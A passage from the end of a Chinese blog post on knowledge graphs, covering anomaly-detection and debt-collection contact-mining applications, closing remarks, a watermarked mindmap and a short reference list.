  • 异常分析(运算量大,一般离线)

    • 静态分析:给定一个图形结构和某个时间点,从中去发现一些异常点(比如有异常的子图)。
    • 动态分析:分析其结构随时间变化的趋势。(假设短时间内知识图谱结构的变化不会太大,如果它的变化很大,就说明可能存在异常,需要进一步的关注。会涉及到时序分析技术和图相似性计算技术。)
  • 失联客户管理
    挖掘出更多的新联系人,提高催收的成功率。
  • ……

事实上,知识图谱的应用远不止于此。在我看来,这个世界就是一张巨大的知识图谱,是无数个实体关系对,这两年工业界对图数据库、知识图谱的巨大需求也同样反映出了这一点。
就像这篇文章开头说的那句一样——

“The world is not made of strings , but is made of things.”
——辛格博士,from Google.

那么后面会涉及到的跨语言知识图谱的构建、知识图谱的构建算法细节、实战、更新和维护等等内容,就让我慢慢更新起来吧~
再次欢迎对这个方向感兴趣的童鞋们来交流~也欢迎同行指出这系列文章的不足!再次鞠躬笔芯感谢!

我的博客地址:薇拉航线

附赠一张知识图谱的mindmap~
(因为以前老是遇见盗图不写来处的人……所以打了丑丑的水印……请右键→在新标签中打开图片,查看高清大图_(:з」∠)_)
知识图谱.png

References

[1] 刘峤, 李杨, 段宏,等. 知识图谱构建技术综述[J]. 计算机研究与发展, 2016, 53(3):582-600.
[2] 薇拉航线. 知识图谱中的关系推理,究竟是个什么玩意儿. 2017,03. http://www.zuozuovera.cn/archives/491/#directory077175446956507751
[3] 打怪的蚂蚁. CSDN. 知识图谱技术技巧. http://blog.csdn.net/xgjianstart/article/details/70214852

Viewing all 46 articles
Browse latest View live